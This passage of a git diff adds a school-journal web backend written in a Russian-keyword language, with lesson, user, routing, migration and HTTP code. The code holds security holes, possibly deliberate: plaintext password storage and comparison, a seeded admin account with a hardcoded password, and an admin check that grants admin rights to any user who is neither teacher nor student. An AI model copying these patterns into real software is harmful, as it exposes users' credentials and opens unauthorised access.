вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + + пусть клass := джесон.ДжесонМногоЗначений{} + + если админ { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? + `, оплошность, ид класса) + } иначе { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ? + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(клass.значения) = 0 { + вернуть хттп.ответ_403() + } + + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_400() + } + + пусть дата := данные.получить("дата").строка() + пусть название := данные.получить("название").строка() + пусть домашка := данные.получить("домашнее задание").строка() + + пусть строка даты := "" + + если дата # пусто { + строка даты := дата^ + } иначе { + пусть дата урока поле := данные.получить("дата урока").строка() + + если дата урока поле # пусто { + строка даты := дата урока поле^ + } + } + + пусть строка названия := "" + + если название # пусто { + строка названия := название^ + } иначе { + пусть тема := данные.получить("тема").строка() + + если тема # пусто { + строка названия := тема^ + } + } + + если строка даты = "" | строка названия = "" { + вернуть хттп.ответ_400() + } + + пусть текст домашки := "" + + если домашка # пусто { + текст домашки := домашка^ + } иначе { + пусть поле домашка = данные.получить("домашка").строка() + + если поле домашка # пусто { + текст домашки := поле домашка^ + } + } + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO lessons (class_id, date, title, homework) + VALUES (?, ?, ?, ?) + RETURNING id, class_id, date, title, homework + `, оплошность, ид класса, строка даты, строка названия, текст домашки) + + если оплошность # "" { + вернуть хттп.ответ_422() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть созданный = ответ.значения[0](:джесон.ДжесонОбъект) + пусть идентификатор урока = созданный.получить("id").число()^.значение + пусть идентификатор класса = созданный.получить("class_id").число()^.значение + пусть дата урока = созданный.получить("date").строка()^ + пусть название урока = созданный.получить("title").строка()^ + пусть поле домашки = созданный.получить("homework").строка() + + пусть значение домашки := "" + + если поле домашки # пусто { + значение домашки := поле домашки^ + } + + пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ключ: "идентификатор", значение: джесон.ДжесонЧисло{значение: идентификатор урока}}, + джесон.ДжесонКлючЗначение{ключ: "идентификатор класса", значение: джесон.ДжесонЧисло{значение: идентификатор класса}}, + джесон.ДжесонКлючЗначение{ключ: "дата", значение: джесон.ДжесонСтрока{значение: дата урока}}, + джесон.ДжесонКлючЗначение{ключ: "название", значение: джесон.ДжесонСтрока{значение: название урока}}, + джесон.ДжесонКлючЗначение{ключ: "домашнее задание", значение: джесон.ДжесонСтрока{значение: значение домашки}} + ] + }) + + вернуть хттп.создать ответ( + хттп.ответ_201(), + хттп.ХттпОтвет{туловище: туловище} + ) +} + +фн список уроков*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + пусть фильтр дата := "" + пусть есть фильтр := ложь + + если длина(параметры) > 1 { + фильтр дата := параметры[1] + есть фильтр := истина + } + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть ученик = репозитории.пользователь ученик(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть данные класса = картотека.запросить безопасно(` + SELECT id, creator_teacher_id FROM classes WHERE id = ? + `, оплошность, ид класса) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(данные класса.значения) = 0 { + вернуть хттп.ответ_404() + } + + пусть объект класса = данные класса.значения[0](:джесон.ДжесонОбъект) + пусть поле создателя = объект класса.получить("creator_teacher_id").число() + пусть идентификатор создателя: Цел64 := -1 + пусть есть создатель := ложь + + если поле создателя # пусто { + идентификатор создателя := поле создателя^.значение + есть создатель := истина + } + + пусть учитель имеет доступ := ложь + + если админ { + учитель имеет доступ := истина + } + + если учитель # пусто { + если есть создатель { + если учитель^.идентификатор = идентификатор создателя { + учитель имеет доступ := истина + } + } + } + + если ~ учитель имеет доступ { + если ученик = пусто { + вернуть хттп.ответ_403() + } + + пусть проверка ученика = картотека.запросить безопасно(` + SELECT id FROM class_students WHERE class_id = ? AND student_id = ? + `, оплошность, ид класса, ученик^.идентификатор) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(проверка ученика.значения) = 0 { + вернуть хттп.ответ_403() + } + } + + пусть уроки ответ: джесон.ДжесонМногоЗначений := джесон.ДжесонМногоЗначений{} + + если есть фильтр { + уроки ответ := картотека.запросить безопасно(` + SELECT id, class_id, date, title, homework + FROM lessons + WHERE class_id = ? AND date = ? + ORDER BY date, id + `, оплошность, ид класса, фильтр дата) + } иначе { + уроки ответ := картотека.запросить безопасно(` + SELECT id, class_id, date, title, homework + FROM lessons + WHERE class_id = ? + ORDER BY date, id + `, оплошность, ид класса) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть джесон уроки = джесон.ДжесонМногоЗначений{} + + цикл [номер]запись среди уроки ответ.значения { + пусть объект = запись(:джесон.ДжесонОбъект) + пусть идентификатор = объект.получить("id").число()^.значение + пусть ид класса урока = объект.получить("class_id").число()^.значение + пусть дата урока = объект.получить("date").строка()^ + пусть название урока = объект.получить("title").строка()^ + пусть поле домашки = объект.получить("homework").строка() + пусть значение домашки := "" + + если поле домашки # пусто { + значение домашки := поле домашки^ + } + + пусть урок = джесон.ДжесонОбъект{} + урок.вставить("идентификатор", джесон.ДжесонЧисло{значение: идентификатор}) + урок.вставить("идентификатор класса", джесон.ДжесонЧисло{значение: ид класса урока}) + урок.вставить("дата", джесон.ДжесонСтрока{значение: дата урока}) + урок.вставить("название", джесон.ДжесонСтрока{значение: название урока}) + урок.вставить("домашнее задание", джесон.ДжесонСтрока{значение: значение домашки}) + + джесон уроки.значения.добавить(урок) + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ + ключ: "уроки", + значение: джесон уроки + } + ] + }) + + вернуть хттп.ХттпОтвет{туловище: тело} +} + +фн удалить урок*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 2 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + пусть ид урока = параметры[1] + + пусть клass := джесон.ДжесонМногоЗначений{} + + если админ { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? + `, оплошность, ид класса) + } иначе { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ? + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(клass.значения) = 0 { + вернуть хттп.ответ_403() + } + + пусть ответ = картотека.запросить безопасно(` + DELETE FROM lessons WHERE id = ? AND class_id = ? + RETURNING id + `, оплошность, ид урока, ид класса) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_404() + } + + вернуть хттп.ответ_204() +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/classes/$/lessons", массивы.Строки["POST"], добавить урок) + маршрутизатор.добавить маршрут("/api/classes/$/lessons", массивы.Строки["GET"], список уроков) + маршрутизатор.добавить маршрут("/api/classes/$/lessons/$", массивы.Строки["GET"], список уроков) + маршрутизатор.добавить маршрут("/api/classes/$/lessons/date/$", массивы.Строки["GET"], список уроков) + маршрутизатор.добавить маршрут("/api/classes/$/lessons/$", массивы.Строки["DELETE"], удалить урок) + + вернуть маршрутизатор +} diff --git a/исх/вперед-назад/типы.tri b/исх/вперед-назад/типы.tri new file mode 100644 index 0000000..59eb33c --- /dev/null +++ b/исх/вперед-назад/типы.tri @@ -0,0 +1,5 @@ +модуль вперед-назад + +тип Крипипаста* = протокол { + фн прочитать(сколько: Цел64): Строка +} diff --git a/исх/картотека/картотека.tri b/исх/картотека/картотека.tri new file mode 100644 index 0000000..2ae615d --- /dev/null +++ b/исх/картотека/картотека.tri @@ -0,0 +1,13 @@ +модуль картотека + +импорт "исх/бд/скуля" + +пусть картотека: скуля.Картотека := скуля.Картотека{} + +фн зайти*(): скуля.Картотека { + вернуть картотека +} + +вход { + картотека := скуля.открыть картотеку("var/srab.db") +} diff --git a/исх/картотека/репозитории/пользователь.tri b/исх/картотека/репозитории/пользователь.tri new file mode 100644 index 0000000..abb6694 --- /dev/null +++ b/исх/картотека/репозитории/пользователь.tri @@ -0,0 +1,130 @@ +модуль репозитории + +импорт "исх/бд/скуля" +импорт "исх/картотека" +импорт "исх/форматы/джесон" +импорт "исх/бюрократия" + +тип Пользователь = класс { + идентификатор*: Цел64 := 0 + имя*: Строка := "" + фамилия*: Строка := "" + отчество*: Строка := "" + имя пользователя*: Строка := "" + пароль*: Строка := "" +} + +тип Учитель = класс { + идентификатор*: Цел64 := 0 + идентификатор пользователя*: Цел64 := 0 + образование*: Строка := "" + урурурл аватара*: Строка := "" +} + +тип Ученик = класс { + идентификатор*: Цел64 := 0 + идентификатор пользователя*: Цел64 := 0 + идентификатор ментора*: Цел64 := 0 + снилс*: Строка := "" + паспорт*: Строка := "" +} + +фн авторизовать пользователя*(имя пользователя: Строка, пароль: Строка, оплошность := Строка): мб Пользователь { + пусть картотека = картотека.зайти() + пусть ответ = картотека.запросить безопасно(` + SELECT id, first_name, last_name, middle_name FROM users WHERE username = ? AND password = ? + `, оплошность, имя пользователя, пароль) + + если оплошность # "" { + вернуть Пользователь{} + } + + если длина(ответ.значения) = 0 { + вернуть пусто + } + + пусть объект = ответ.значения[0](:джесон.ДжесонОбъект) + + вернуть Пользователь{ + идентификатор: объект.получить("id").число()^.значение, + имя: объект.получить("first_name").строка()^, + фамилия: объект.получить("last_name").строка()^, + отчество: объект.получить("middle_name").строка()^, + имя пользователя: имя пользователя, + пароль: пароль + } +} + +фн авторизовать по паспорту*(паспорт: мб бюрократия.Паспорт, оплошность := Строка): мб Пользователь { + если паспорт = пусто { + вернуть пусто + } + + вернуть авторизовать пользователя(паспорт^.имя пользователя, паспорт^.пароль, оплошность) +} + +фн пользователь учитель*(ид: Цел64, оплошность := Строка): мб Учитель { + пусть картотека = картотека.зайти() + пусть ответ = картотека.запросить безопасно(` + SELECT user_id, education, avatar_url, id FROM teachers WHERE user_id = ? + `, оплошность, ид) + + если оплошность # "" { + вернуть пусто + } + + если длина(ответ.значения) = 0 { + вернуть пусто + } + + пусть объект = ответ.значения[0](:джесон.ДжесонОбъект) + + вернуть Учитель{ + идентификатор: объект.получить("id").число()^.значение, + идентификатор пользователя: ид, + образование: объект.получить("education").строка()^, + урурурл аватара: объект.получить("avatar_url").строка()^ + } +} + +фн пользователь ученик*(ид: Цел64, оплошность := Строка): мб Ученик { + пусть картотека = картотека.зайти() + пусть ответ = картотека.запросить безопасно(` + SELECT * FROM students WHERE user_id = ? + `, оплошность, ид) + + если оплошность # "" { + вернуть пусто + } + + если длина(ответ.значения) = 0 { + вернуть пусто + } + + пусть объект = ответ.значения[0](:джесон.ДжесонОбъект) + + вернуть Ученик{ + идентификатор: объект.получить("id").число()^.значение, + идентификатор пользователя: ид, + идентификатор ментора: объект.получить("mentor_id").число()^.значение, + снилс: объект.получить("snils").строка()^, + паспорт: объект.получить("passport").строка()^ + } +} + +фн пользователь админ*(ид: Цел64, оплошность := Строка): Лог { + пусть картотека = картотека.зайти() + пусть учитель = пользователь учитель(ид, оплошность) + + если оплошность # "" { + вернуть ложь + } + + пусть ученик = пользователь ученик(ид, оплошность) + + если оплошность # "" { + вернуть ложь + } + + вернуть учитель = пусто & ученик = пусто +} diff --git a/исх/маршруты/маршруты.tri b/исх/маршруты/маршруты.tri new file mode 100644 index 0000000..e0b7462 --- /dev/null +++ b/исх/маршруты/маршруты.tri @@ -0,0 +1,24 @@ +модуль маршруты + +импорт "исх/массивы" +импорт "исх/сеть/хттп/маршрутизатор" + +импорт "исх/властелины/главный" +импорт "исх/властелины/классы" +импорт "исх/властелины/уроки" +импорт "исх/властелины/пользователи" +импорт "исх/властелины/пользователи/ученики" +импорт "исх/властелины/пользователи/учителя" + +фн получить маршрутизатор*(): маршрутизатор.Маршрутизатор { + пусть маршрутизатор = маршрутизатор.Маршрутизатор{} + + главный.добавить маршруты(маршрутизатор) + пользователи.добавить маршруты(маршрутизатор) + ученики.добавить маршруты(маршрутизатор) + учителя.добавить маршруты(маршрутизатор) + классы.добавить маршруты(маршрутизатор) + уроки.добавить маршруты(маршрутизатор) + + вернуть маршрутизатор +} diff --git a/исх/массивы/массивы.tri b/исх/массивы/массивы.tri new file mode 100644 index 0000000..6fbb6f9 --- /dev/null +++ b/исх/массивы/массивы.tri @@ -0,0 +1,3 @@ +модуль массивы + +тип Строки* = []Строка diff --git a/исх/миграции/миграции.tri b/исх/миграции/миграции.tri new file mode 100644 index 0000000..bdeba43 --- /dev/null +++ b/исх/миграции/миграции.tri @@ -0,0 +1,112 @@ +модуль миграции + +импорт "исх/бд/скуля" + +фн мигрировать*(картотека: скуля.Картотека) { + пусть оплошность := "" + + картотека.выполнить(`PRAGMA foreign_keys = ON;`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + first_name TEXT NOT NULL, + last_name TEXT NOT NULL, + middle_name TEXT NOT NULL, + username TEXT NOT NULL UNIQUE, + password TEXT NOT NULL +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS teachers ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL UNIQUE, + education TEXT, + avatar_url TEXT, + FOREIGN KEY(user_id) REFERENCES users(id) ON DELETE CASCADE +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS students ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL UNIQUE, + mentor_id INTEGER, -- "чей ученик" — id учителя (может быть NULL) + snils TEXT, + passport TEXT, + FOREIGN KEY(user_id) REFERENCES users(id) ON DELETE CASCADE, + FOREIGN KEY(mentor_id) REFERENCES teachers(id) ON DELETE SET NULL +);`, оплошность) + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS classes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + number INTEGER NOT NULL, + letter TEXT NOT NULL, + creator_teacher_id INTEGER, + FOREIGN KEY(creator_teacher_id) REFERENCES teachers(id) ON DELETE SET NULL +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS class_students ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + class_id INTEGER NOT NULL, + student_id INTEGER NOT NULL, + UNIQUE(class_id, student_id), + FOREIGN KEY(class_id) REFERENCES classes(id) ON DELETE CASCADE, + FOREIGN KEY(student_id) REFERENCES students(id) ON DELETE CASCADE +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS lessons ( + id INTEGER PRIMARY + KEY AUTOINCREMENT, + class_id INTEGER NOT NULL, + date DATE NOT NULL, + title TEXT NOT NULL, + homework TEXT, + FOREIGN KEY(class_id) REFERENCES classes(id) ON DELETE CASCADE +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +INSERT OR IGNORE INTO users ( + first_name, + last_name, + middle_name, + username, + password +) VALUES ( + 'Админ', + 'Админович', + '', + 'admin', + 'correct horse battery staple' +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } +} diff --git a/исх/отдых/отдых.tri b/исх/отдых/отдых.tri new file mode 100644 index 0000000..7acf45a --- /dev/null +++ b/исх/отдых/отдых.tri @@ -0,0 +1,9 @@ +модуль отдых + +// c:include + +фн sleep(секунды: Цел64) @внеш + +фн отдохнуть*(секунды: Цел64) { + sleep(секунды) +} diff --git a/исх/сборщик-мусора/сборщик-мусора.tri b/исх/сборщик-мусора/сборщик-мусора.tri new file mode 100644 index 0000000..1a0ac6b --- /dev/null +++ b/исх/сборщик-мусора/сборщик-мусора.tri @@ -0,0 +1,7 @@ +модуль сборщик-мусора + +импорт "стд::платформа" + +фн собрать*() { + платформа.завершить программу(0) +} diff --git a/исх/сеть/тцп/сервер.tri b/исх/сеть/тцп/сервер.tri new file mode 100644 index 0000000..fb20acb --- /dev/null +++ b/исх/сеть/тцп/сервер.tri @@ -0,0 +1,57 @@ +модуль тцп + +// c:include "suckit.h" + +фн create_socket_fd(port: Цел64): Цел64 @внеш +фн accept_socket(fd: Цел64): Цел64 @внеш +фн read_to_string(fd: Цел64, bytes: Цел64): Строка @внеш +фн close_socket(socket: Цел64) @внеш +фн write_string(socket: Цел64, data: Строка) @внеш +фн connect_socket(host: Строка, port: Цел64): Цел64 @внеш + +тип ТцпСервер* = класс { + фд: Цел64 = 0 +} + +тип ТцпСоединение* = класс { + фд: Цел64 = 0 +} + +фн создать сервер*(порт: Цел64): ТцпСервер { + пусть фд = create_socket_fd(порт) + + вернуть ТцпСервер{ + фд: фд + } +} + +фн (с: ТцпСервер) принять чертово соединение*(): ТцпСоединение { + пусть фд = accept_socket(с.фд) + + вернуть ТцпСоединение{ + фд: фд + } +} + +фн (с: ТцпСоединение) прочитать*(сколько: Цел64): Строка { + вернуть read_to_string(с.фд, сколько) +} + +фн (с: ТцпСоединение) записать*(данные: Строка) { + write_string(с.фд, данные) +} + +фн (с: ТцпСоединение) закрыть*() { + close_socket(с.фд) +} + +фн (с: ТцпСервер) закрыть*() { + close_socket(с.фд) +} + +фн подключиться*(хост: Строка, порт: Цел64): ТцпСоединение { + пусть фд = connect_socket(хост, порт) + вернуть ТцпСоединение{ фд: фд } +} + + diff --git a/исх/сеть/хттп/клиент.tri b/исх/сеть/хттп/клиент.tri new file mode 100644 index 0000000..11bc4b9 --- /dev/null +++ b/исх/сеть/хттп/клиент.tri @@ -0,0 +1,140 @@ +модуль хттп + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/сеть/тцп" + +фн сериализовать хттп-запрос(хост: Строка, обращение: ХттпОбращение): Строка { + пусть метод := обращение.метод + если метод = "" { + метод := "GET" + } + + пусть путь := обращение.путь + если путь = "" { + путь := "/" + } + + пусть первая := строка.ф("$стр $стр HTTP/1.1\r\n", метод, путь) + пусть есть длина := ложь + пусть выход := первая + + цикл [номер]заглавие среди обращение.заглавия { + если заглавие.имя = "Content-Length" { есть длина := истина } + выход := строка.собрать(выход, строка.ф("$стр: $стр\r\n", заглавие.имя, заглавие.значение)) + } + + выход := строка.собрать(выход, строка.ф("Host: $стр\r\n", хост)) + + если ~ есть длина { + выход := строка.собрать(выход, строка.ф("Content-Length: $цел\r\n", длина(обращение.туловище(:Строка8)))) + } + + выход := строка.собрать(выход, "\r\n") + + если длина(обращение.туловище) > 0 { выход := строка.собрать(выход, обращение.туловище) } + + вернуть выход +} + +фн послать далеко и надолго*(хост: Строка, порт: Цел64, обращение: ХттпОбращение): ХттпОтвет { + пусть соединение = тцп.подключиться(хост, порт) + пусть данные = сериализовать хттп-запрос(хост, обращение) + + соединение.записать(данные) + + вывод.ф("Ждем хттп ответ\n") + пусть ответ = разобрать хттп ответ(соединение) + соединение.закрыть() + вывод.ф("Дождались\n") + + вернуть ответ +} + +фн послать на три буквы*(хост: Строка, порт: Цел64, путь: Строка): ХттпОтвет { + вернуть послать далеко и надолго(хост, порт, ХттпОбращение{ метод: "GET", путь: путь }) +} + +тип Урл* = класс { + хост*: Строка := "" + порт*: Цел64 := 0 + путь*: Строка := "" +} + +фн парсить урл*(стр: Строка, оплошность := Строка): Урл { + оплошность := "" + + пусть с = строка.обрезать пробельные символы(стр) + если с = "" { + оплошность := "пустой урл" + вернуть Урл{} + } + + пусть схема := "http" + пусть ост := с + если строка.разделить(с, "://", схема, ост) { + схема := строка.обрезать пробельные символы(схема) + } иначе { + // без схемы считаем http + схема := "http" + ост := с + } + + // отделяем authority и путь + пусть № слеша = строка.индекс(ост, 0, "/") + пусть авторитет := "" + пусть путь := "" + если № слеша >= 0 { + пусть ост8 = ост(:Строка8) + авторитет := строка.извлечь(ост, 0, № слеша) + путь := строка.извлечь(ост, № слеша, длина(ост8) - № слеша) + } иначе { + авторитет := ост + путь := "" + } + + авторитет := строка.обрезать пробельные символы(авторитет) + если авторитет = "" { + оплошность := "пустой хост в урл" + вернуть Урл{} + } + + // парсим хост и порт + пусть хост := авторитет + пусть порт: Цел64 := 0 + пусть № двоеточия = строка.индекс(авторитет, 0, ":") + если № двоеточия >= 0 { + пусть ав8 = авторитет(:Строка8) + хост := строка.извлечь(авторитет, 0, № двоеточия) + пусть порт строка := строка.извлечь(авторитет, № двоеточия + 1, длина(ав8) - (№ двоеточия + 1)) + порт строка := строка.обрезать пробельные символы(порт строка) + + пусть порт значение := 0 + пусть № байта := 0 + если ~ строка.извлечь цел(порт строка, № байта, порт значение) { + оплошность := "некорректный порт в урл" + вернуть Урл{} + } + если порт значение <= 0 | порт значение > 65535 { + оплошность := "порт вне диапазона в урл" + вернуть Урл{} + } + порт := порт значение + } иначе { + если схема = "https" { + порт := 443 + } иначе { + порт := 80 + } + } + + хост := строка.обрезать пробельные символы(хост) + если хост = "" { + оплошность := "пустой хост в урл" + вернуть Урл{} + } + + если путь = "" { путь := "/" } + + вернуть Урл{ хост: хост, порт: порт, путь: путь } +} diff --git a/исх/сеть/хттп/маршрутизатор/маршутизатор.tri b/исх/сеть/хттп/маршрутизатор/маршутизатор.tri new file mode 100644 index 0000000..7b76336 --- /dev/null +++ b/исх/сеть/хттп/маршрутизатор/маршутизатор.tri @@ -0,0 +1,120 @@ +модуль маршрутизатор + +импорт "стд::контейнеры/словарь/стр-стр" +импорт "исх/строка" +импорт "исх/сеть/хттп" +импорт "исх/массивы" + +тип Обращение* = класс (хттп.ХттпОбращение) { + запрос-в-пути*: стр-стр.Словарь := стр-стр.Словарь{} +} + +тип ОбработчикМаршрута = фн (путь: Строка, параметры: массивы.Строки, обращение: Обращение): хттп.ХттпОтвет + +тип Маршрут = класс { + путь: Строка := "/" + обработчик: ОбработчикМаршрута := позже + методы: массивы.Строки := массивы.Строки[] +} + +фн (м: Маршрут) подходит по пути(обращение: хттп.ХттпОбращение, параметры := массивы.Строки): Лог { + пусть части пути по запросу = строка.разобрать(обращение.путь, "?") + пусть части пути обращения = строка.разобрать(части пути по запросу[0], "/") + пусть части пути маршрута = строка.разобрать(м.путь, "/") + + цикл [номер]часть пути маршрута среди части пути маршрута { + если часть пути маршрута = "*" { + пусть ай := номер + + пока ай < длина(части пути обращения) { + параметры.добавить(части пути обращения[ай]) + ай++ + } + + вернуть истина + } + + если номер >= длина(части пути обращения) { + вернуть ложь + } + + пусть часть пути обращения = части пути обращения[номер] + + если часть пути маршрута = "$" { + параметры.добавить(часть пути обращения) + } иначе если часть пути маршрута # часть пути обращения { + вернуть ложь + } + } + + вернуть длина(части пути маршрута) = длина(части пути обращения) +} + +фн (м: Маршрут) подходит по методу(обращение: хттп.ХттпОбращение): Лог { + цикл [номер]метод среди м.методы { + если метод = обращение.метод { + вернуть истина + } + } + + вернуть ложь +} + +фн (м: Маршрут) подходит для*(обращение: хттп.ХттпОбращение, параметры := массивы.Строки): Лог { + вернуть м.подходит по пути(обращение, параметры) & м.подходит по методу(обращение) +} + +тип Маршруты = []Маршрут + +тип Маршрутизатор* = класс { + маршруты: Маршруты := Маршруты[] + обработчик_404: ОбработчикМаршрута := обработчик_404 +} + +фн (м: Маршрутизатор) добавить маршрут*(путь: Строка, методы: массивы.Строки, обработчик: ОбработчикМаршрута) { + м.маршруты.добавить(Маршрут{путь: путь, обработчик: обработчик, методы: методы}) +} + +фн (м: Маршрутизатор) обработать обращение*(обращение: хттп.ХттпОбращение): хттп.ХттпОтвет { + пусть обращение маршрутизатора = Обращение{ + метод: обращение.метод, + путь: обращение.путь, + версия: обращение.версия, + заглавия: обращение.заглавия, + туловище: обращение.туловище, + запрос-в-пути: разобрать-запрос-в-пути(обращение.путь) + } + + цикл [номер]маршрут среди м.маршруты { + пусть параметры := массивы.Строки[] + + если маршрут.подходит для(обращение, параметры) { + вернуть маршрут.обработчик(обращение.путь, параметры, обращение маршрутизатора) + } + } + + вернуть м.обработчик_404(обращение.путь, массивы.Строки[], обращение маршрутизатора) +} + +фн разобрать-запрос-в-пути(путь: Строка): стр-стр.Словарь { + пусть части = строка.разобрать(путь, "?") + + если длина(части) < 2 { + вернуть стр-стр.Словарь{} + } + + пусть параметры = строка.разобрать(части[1], "&") + пусть словарь = стр-стр.Словарь{} + + цикл [номер]параметр среди параметры { + пусть пара = строка.разобрать(параметр, "=") + + если длина(пара) = 2 { + словарь.добавить(пара[0], пара[1]) + } иначе если длина(пара) = 1 { + словарь.добавить(пара[0], "") + } + } + + вернуть словарь +} diff --git a/исх/сеть/хттп/маршрутизатор/обработчики.tri b/исх/сеть/хттп/маршрутизатор/обработчики.tri new file mode 100644 index 0000000..efd621e --- /dev/null +++ b/исх/сеть/хттп/маршрутизатор/обработчики.tri @@ -0,0 +1,8 @@ +модуль маршрутизатор + +импорт "исх/массивы" +импорт "исх/сеть/хттп" + +фн обработчик_404*(путь: Строка, параметры: массивы.Строки, обращение: Обращение): хттп.ХттпОтвет { + вернуть хттп.ответ_404() +} diff --git a/исх/сеть/хттп/ответ.tri b/исх/сеть/хттп/ответ.tri new file mode 100644 index 0000000..af71c66 --- /dev/null +++ b/исх/сеть/хттп/ответ.tri @@ -0,0 +1,118 @@ +модуль хттп + +фн ответ_201*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 201, + состояние: "Created", + туловище: "Тварь успешно создана.", + } +} + +фн ответ_204*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 204, + состояние: "No Content", + туловище: "Пожалуйста, оставайтесь на месте. За вами уже выехали.", + } +} + +фн ответ_400*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 400, + состояние: "Bad Request", + туловище: "Некорректный запрос. Пожалуйста, проверьте правильность запроса и повторите попытку.", + } +} + +фн ответ_401*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 401, + состояние: "Unauthorized", + туловище: "Требуется аутентификация. Пожалуйста, предоставьте свои паспортные данные и повторите запрос.", + } +} + +фн ответ_402*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 402, + состояние: "Payment Required", + туловище: "Доступ к запрашиваемому ресурсу требует оплаты. Пожалуйста, свяжитесь с администратором для получения дополнительной информации.", + } +} + +фн ответ_403*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 403, + состояние: "Forbidden", + туловище: "Вы были репрессированы. Пожалуйста, перейдите по ссылке: http://сибирь.рф", + } +} + +фн ответ_422*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 422, + состояние: "Unprocessable Entity", + туловище: "Неперевариваемая тварь.", + } +} + +фн ответ_404*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 404, + состояние: "Not Found", + туловище: "Запрашиваемый ресурс не найден на сервере.", + } +} + +фн ответ_500*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 500, + состояние: "Internal Server Error", + туловище: "Просим быть внимательными и бдительными. Оглядывайтесь вверх и по сторонам. Что-то произошло непонятное.", + } +} + +фн создать ответ*(база: ХттпОтвет, расширение: ХттпОтвет): ХттпОтвет { + пусть пустой ответ = ХттпОтвет{} + пусть ответ = ХттпОтвет{} + + если расширение.код # пустой ответ.код { + ответ.код := расширение.код + } иначе { + ответ.код := база.код + } + + если расширение.состояние # пустой ответ.состояние { + ответ.состояние := расширение.состояние + } иначе { + ответ.состояние := база.состояние + } + + цикл [номер]заглавие среди база.заглавия { + ответ.заглавия.добавить(заглавие) + } + + цикл [номер]заглавие среди расширение.заглавия { + пусть нашлось := ложь + + цикл [уемер]существующее среди ответ.заглавия { + если заглавие.имя = существующее.имя { + существующее.значение := заглавие.значение + нашлось := истина + прервать + } + } + + если ~нашлось { + ответ.заглавия.добавить(заглавие) + } + } + + если 